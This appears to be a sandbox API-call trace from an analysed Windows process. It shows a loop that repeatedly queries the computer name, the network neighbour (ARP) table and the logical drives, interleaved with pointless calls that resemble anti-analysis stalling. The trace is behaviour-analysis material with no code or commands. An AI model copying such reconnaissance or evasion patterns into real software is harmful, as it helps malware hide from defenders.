	[0050.112] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.112] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.112] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.112] SetErrorMode (uMode=0x1) returned 0x1
	[0050.112] GetLogicalDrives () returned 0x4
	[0050.112] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.112] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b3290
	[0050.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.112] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.112] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.112] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30b3a98
	[0050.112] GetIpNetTable (in: IpNetTable=0x30b3a98, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30b3a98, SizePointer=0xf3d4ac) returned 0x0
	[0050.113] AppendMenuW (hMenu=0x0, uFlags=0x800def28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.113] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.113] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.113] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.113] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.113] SetErrorMode (uMode=0x1) returned 0x1
	[0050.113] GetLogicalDrives () returned 0x4
	[0050.113] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.113] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b3c70
	[0050.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.113] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.113] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.113] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bc358
	[0050.113] GetIpNetTable (in: IpNetTable=0x30bc358, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bc358, SizePointer=0xf3d4ac) returned 0x0
	[0050.114] AppendMenuW (hMenu=0x0, uFlags=0x800ef0dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.114] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.114] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.114] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.114] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.114] SetErrorMode (uMode=0x1) returned 0x1
	[0050.114] GetLogicalDrives () returned 0x4
	[0050.114] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.114] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ba4d8
	[0050.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.115] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.115] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.115] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bc510
	[0050.115] GetIpNetTable (in: IpNetTable=0x30bc510, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bc510, SizePointer=0xf3d4ac) returned 0x0
	[0050.115] AppendMenuW (hMenu=0x0, uFlags=0x800fcb68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.115] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.115] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.116] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.116] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.116] SetErrorMode (uMode=0x1) returned 0x1
	[0050.116] GetLogicalDrives () returned 0x4
	[0050.116] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.116] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b7cb0
	[0050.116] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.116] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.116] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.116] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bbc78
	[0050.116] GetIpNetTable (in: IpNetTable=0x30bbc78, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bbc78, SizePointer=0xf3d4ac) returned 0x0
	[0050.117] AppendMenuW (hMenu=0x0, uFlags=0x800fcd1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.117] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.117] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.117] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.117] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.117] SetErrorMode (uMode=0x1) returned 0x1
	[0050.117] GetLogicalDrives () returned 0x4
	[0050.117] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.117] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b4478
	[0050.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.117] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.117] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.118] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bbe30
	[0050.118] GetIpNetTable (in: IpNetTable=0x30bbe30, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bbe30, SizePointer=0xf3d4ac) returned 0x0
	[0050.158] AppendMenuW (hMenu=0x0, uFlags=0x8010a7a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.159] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.159] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.159] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.159] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.159] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.159] SetErrorMode (uMode=0x1) returned 0x1
	[0050.159] GetLogicalDrives () returned 0x4
	[0050.159] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.159] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b84b8
	[0050.159] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.159] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.159] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.159] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bca38
	[0050.159] GetIpNetTable (in: IpNetTable=0x30bca38, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bca38, SizePointer=0xf3d4ac) returned 0x0
	[0050.160] AppendMenuW (hMenu=0x0, uFlags=0x8011a95c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.160] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.160] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.160] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.160] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.160] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.160] SetErrorMode (uMode=0x1) returned 0x1
	[0050.160] GetLogicalDrives () returned 0x4
	[0050.160] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.160] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b94c8
	[0050.160] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.160] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.160] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.161] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bbfe8
	[0050.161] GetIpNetTable (in: IpNetTable=0x30bbfe8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bbfe8, SizePointer=0xf3d4ac) returned 0x0
	[0050.161] AppendMenuW (hMenu=0x0, uFlags=0x801283e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.161] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.161] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.161] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.161] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.162] SetErrorMode (uMode=0x1) returned 0x1
	[0050.162] GetLogicalDrives () returned 0x4
	[0050.162] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.162] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b4c80
	[0050.162] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.162] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.162] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.162] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bc6c8
	[0050.162] GetIpNetTable (in: IpNetTable=0x30bc6c8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bc6c8, SizePointer=0xf3d4ac) returned 0x0
	[0050.162] AppendMenuW (hMenu=0x0, uFlags=0x8013859c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.163] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.163] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.163] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.163] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.163] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.163] SetErrorMode (uMode=0x1) returned 0x1
	[0050.163] GetLogicalDrives () returned 0x4
	[0050.163] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.163] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30bace0
	[0050.163] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.163] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.163] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.163] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bc1a0
	[0050.163] GetIpNetTable (in: IpNetTable=0x30bc1a0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bc1a0, SizePointer=0xf3d4ac) returned 0x0
	[0050.164] AppendMenuW (hMenu=0x0, uFlags=0x80146028, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.164] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.164] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.164] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.164] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.164] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.164] SetErrorMode (uMode=0x1) returned 0x1
	[0050.164] GetLogicalDrives () returned 0x4
	[0050.164] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.164] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b5488
	[0050.164] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.164] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.164] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.164] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bc880
	[0050.164] GetIpNetTable (in: IpNetTable=0x30bc880, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bc880, SizePointer=0xf3d4ac) returned 0x0
	[0050.166] AppendMenuW (hMenu=0x0, uFlags=0x801561dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.166] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.166] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.166] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.166] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.166] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.166] SetErrorMode (uMode=0x1) returned 0x1
	[0050.166] GetLogicalDrives () returned 0x4
	[0050.166] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.166] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b5c90
	[0050.166] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.166] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.166] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.166] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bd518
	[0050.166] GetIpNetTable (in: IpNetTable=0x30bd518, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bd518, SizePointer=0xf3d4ac) returned 0x0
	[0050.167] AppendMenuW (hMenu=0x0, uFlags=0x80163c68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.167] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.167] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.167] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.167] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.167] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.167] SetErrorMode (uMode=0x1) returned 0x1
	[0050.167] GetLogicalDrives () returned 0x4
	[0050.167] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.167] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b9cd0
	[0050.167] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.167] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.167] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.168] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bcc80
	[0050.168] GetIpNetTable (in: IpNetTable=0x30bcc80, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bcc80, SizePointer=0xf3d4ac) returned 0x0
	[0050.168] AppendMenuW (hMenu=0x0, uFlags=0x80173e1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.168] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.168] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.168] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.168] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.168] SetErrorMode (uMode=0x1) returned 0x1
	[0050.169] GetLogicalDrives () returned 0x4
	[0050.169] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.169] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b6498
	[0050.169] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.169] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.169] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.169] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30be120
	[0050.169] GetIpNetTable (in: IpNetTable=0x30be120, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30be120, SizePointer=0xf3d4ac) returned 0x0
	[0050.169] AppendMenuW (hMenu=0x0, uFlags=0x801818a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.170] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.170] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.170] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.170] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.170] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.170] SetErrorMode (uMode=0x1) returned 0x1
